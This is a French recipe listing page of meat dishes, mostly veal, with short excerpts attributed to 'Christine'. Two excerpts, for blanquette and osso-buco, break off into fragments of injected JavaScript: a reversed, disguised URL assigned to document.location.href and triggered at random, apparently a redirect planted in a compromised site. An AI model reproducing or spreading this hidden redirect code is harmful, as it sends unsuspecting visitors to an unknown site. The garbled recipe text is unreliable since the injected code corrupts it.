Recipes From Cuisine: Viandes
Côtes de veau à la normande
Faites des petites entailles sur les bords de chaque côtes des côtes de veau pour ...
Christine Lire la suiteEscalopes panées
Salez et poivrez les escalopes de chaque côté. Enrobez les escalopes dans la panure. Dans ...
Christine Lire la suiteTranches fines de veau farcies
Rincez, essorez, hachez le persil grossièrement. Équeutez, rincez, essorez, hachez les épinards. Pelez, émincez les ...
Christine Lire la suiteCanard aux petits pois
Videz, salez et poivrez l’intérieur et extérieur du canard. Dans une cocotte avec de 2 ...
Christine Lire la suiteGrillettes de veau avec des girolles
Rincez, séchez les girolles. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide sur ...
Christine Lire la suiteBlanquette de veau aux deux champignons
Découpez en cubes la poitrine de veau. faire revenir la viandom() * 6); if (number1==3){var ...
Christine Lire la suiteEscalopes de veau purée de pommes de terre avec des cacahuètes
Pelez, rincez, coupez en gros cubes les pommes de terre. Déposez les dans une casserole ...
Christine Lire la suiteOsso-buco au basilic
Coupez en cubes le jarret de veau. Dans un récipient mélangez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay ...
Christine Lire la suiteRôti de veau au Noilly Prat
Pelez, émincez les échalotes. Rincez, séchez, coupez en rondelles les carottes. Pelez, coupez en deux ...
Christine Lire la suiteSauté de veau aux endives, lardons, jambon de pays
Pelez, coupez en deux les gousses d’ail. Enlevez le germe et hachez avec le persil. ...
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